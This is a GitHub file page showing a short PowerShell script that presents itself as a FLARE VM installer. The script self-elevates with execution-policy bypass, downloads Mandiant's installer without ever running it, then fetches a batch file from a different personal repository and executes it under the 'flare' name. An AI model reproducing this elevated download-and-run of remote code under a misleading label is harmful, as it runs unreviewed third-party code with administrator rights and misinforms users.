-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathrunner.ps1
More file actions
23 lines (23 loc) · 1.13 KB
/
runner.ps1
File metadata and controls
23 lines (23 loc) · 1.13 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
$title = 'This will install Flare VM'
$question = 'Are you sure you want to proceed?'
$choices = '&Yes', '&No'
function Test-Admin {
$currentUser = New-Object Security.Principal.WindowsPrincipal $([Security.Principal.WindowsIdentity]::GetCurrent())
$currentUser.IsInRole([Security.Principal.WindowsBuiltinRole]::Administrator)
}
if ((Test-Admin) -eq $false) {
if ($elevated) {
# tried to elevate, did not work, aborting
} else {
Start-Process powershell.exe -Verb RunAs -ArgumentList ('-noprofile -executionpolicy bypass -noexit -file "{0}" -elevated' -f ($myinvocation.MyCommand.Definition))
}
exit
}
$decision = $Host.UI.PromptForChoice($title, $question, $choices, 1)
if ($decision -eq 0) {
Write-Host 'confirmed'
Invoke-Webrequest -uri https://raw.githubusercontent.com/mandiant/flare-vm/master/install.ps1 -OutFile "${env:temp}\flare.ps1"
Invoke-Webrequest -uri https://raw.githubusercontent.com/harryeetsource/WindowsScripts/main/WindowsRepairBund.bat -OutFile "${env:temp}\flare.bat"
Start-Process -Filepath "${env:temp}\flare.bat"}
else
{Write-host 'canceled'}